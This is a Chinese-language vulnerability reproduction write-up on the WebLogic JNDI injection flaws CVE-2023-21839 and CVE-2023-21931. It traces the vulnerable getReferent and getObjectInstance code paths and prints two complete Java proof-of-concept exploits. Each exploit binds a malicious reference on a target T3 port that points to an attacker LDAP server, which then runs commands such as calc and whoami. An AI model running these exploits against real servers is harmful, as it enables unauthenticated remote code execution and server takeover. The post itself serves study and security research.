关于Weblogic漏洞(CVE-2023-21839和CVE-2023-21931)
前言
之前没复现过Weblogic相关的漏洞,现在有空就想复现一下今年爆出的两个漏洞CVE-2023-21839和CVE-2023-21931,跟着大佬的文章学习一手
T3协议
T3协议参考https://c0ny1.gitbooks.io/javasec/content/jing-dian-an-li/t3xie-yi-yan-jiu.html
查阅资料发现weblogic的反序列化漏洞大致分为两种,一种是基于T3协议的反序列化漏洞,一种是基于XML的反序列化漏洞。
关于这个T3协议,是Weblogic里面独有的一个协议,传输的数据是序列化后的数据,而服务器在接收到数据后会进行一个反序列化的操作,所以下面提到的两个漏洞都是属于后序列化漏洞
后序列化漏洞
Weblogic反序列化漏洞挖掘思路是利⽤ readObject() 、 readResolve() 、 readExternal() 等反序列化⽅法对恶意序列化数据进⾏操作,以达到攻击⽬的。常规的漏洞思路重点关注Weblogic在反序列化过程中进⾏恶意攻击,⽽忽略了反序列化完成后的操作。后反序列化漏洞挖掘的思路重点关注Weblogic完成反序列化过程后,在达到某个时机或执⾏操作后触发的漏洞攻击。
CVE-2023-21839
漏洞描述
WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行。
POC
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;
public class App {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.79.133:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.10.14:1389/Basic/Command/calc";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
分析
QpaqueReference在官方文档中提示了当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。
因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。
漏洞利用点在weblogic.deployment.jms.ForeignOpaqueReference.getReferent
方法
分析这个方法,发现在后续的进行lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,主要是对jndiEnvironment和remoteJNDIName的检测,如果在if中的任何一个条件为真,那么将调用对象的lookup方法,其中remoteJNDIName
和jndiEnvironment
是可以通过反射修改
结合上面方框的代码其实可以发现,只要this.jndiEnvironment
不为空,就可以对InitialContext进行初始化
现在要解决的问题是remoteJNDIName
和jndiEnvironment
要修改成怎样的值才能利用lookup()
目前能确定的是remoteJNDIName=ldap://x.x.x.x:1389/aaaa
进入lookup,需要满足判断:满足一个条件就行
if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)) {
retVal = context.lookup(evalMacros(this.remoteJNDIName));
}
由于前面jndiEnvironment
和remoteJNDIName
赋值了,this.jndiEnvironment == null
和this.remoteJNDIName == null
就不满足了
AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial"))
是对 AQJMS_ICF
和 this.jndiEnvironment.get("java.naming.factory.initial")
进行比较。
其中get("java.naming.factory.initial")
方法获取到其属性 “java.naming.factory.initial” 对应的值,如果 AQJMS_ICF
和 this.jndiEnvironment.get("java.naming.factory.initial")
的值相等,那么比较结果将为 true
;否则,比较结果将为 false
后面的 !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)
的意思是判断remoteJNDIName的开头
根据POC,jndiEnvironment传入的是一个Hashtable
对象
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
在判断条件 AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial"))
中,this.jndiEnvironment.get(“java.naming.factory.initial”) 获取到的是 env2中存储的上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory。
和AQJMS_ICF的值不相等,返回false,前面取“!” ,变为true所以进入判断
POC代码似乎没有哪里是不懂的了,目前就先这样
CVE-2023-21931
分析
这个漏洞的原理和上面的差不多,漏洞触发点在WLNamingManager
类的 getObjectInstance()
方法中:
可以看到当传入的 boundObject
对象是 LinkRef
的实现类时,则调用传入对象 boundObject
的 getLinkName()
方法,并通过lookup()
方法对 getLinkName()
方法返回的 linkAddrType
地址进行远程JNDI加载
漏洞JNDI地址构造在LinkRef
这个类中,LinkRef
是Java的一个原生类。通过LinkRef
类中的构造方法,我们可以控制变量linkAddrType
的值, 再通过getLinkName()
方法将linkAddrType
作为字符串返回。
到这里还有一个疑问,怎样才能调用getObjectInstance()
方法?
参考https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_zh_CN.md
查看t3的lookup()方法的调用栈:
- Weblogic在接收到请求后,通过
BasicServerRef
类中的invoke()
方法解析传入数据。 - 通过
_invoke()
方法,Weblogic根据传入的方法名resolve_any
执行的resolve_any()
方法。 - 在
resolve_any()
方法中,通过resolveObject()
方法对传入的绑定命名进行解析。 - 在
resolveObject()
方法中,根据上下文信息调用其中的lookup()
方法。 - 根据上下文中的信息,经过在
WLContextImpl
、WLEventContextImpl
、WLEventContextImpl
、RootNamingNode
、ServerNamingNode
、BasicNamingNode
类中一系列的lookup()
方法调用,实现BasicNamingNode
类中的resolveObject()
方法调用。 - 由于传入
resolveObject()
方法中的obj不是NamingNode
类的实例,且mode
的值默认为1,所以会调用WLNamingManager
类中的getObjectInstance()
方法。
最终,可以看到WLNamingManager
类的getObjectInstance()
方法根据传入的对象接口类型,调用对象中的getReferent()
方法,完成漏洞触发点的lookup()
方法调用。实际上这两个CVE漏洞都是通过getObjectInstance()
的两个分支触发的。
POC
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.LinkRef;
import java.util.Hashtable;
//import weblogic.jndi.internal.WLNamingManager;
public class exp {
public static void main(String[] agrs) throws Exception {
String url = "t3://192.168.79.133:7001";
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
Hashtable ht = new Hashtable();
ht.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
ht.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(ht);
LinkRef LR = new LinkRef("ldap://192.168.10.14:1389/Basic/Command/whoami");
c.rebind("poc", LR);
c.lookup("poc");
}
}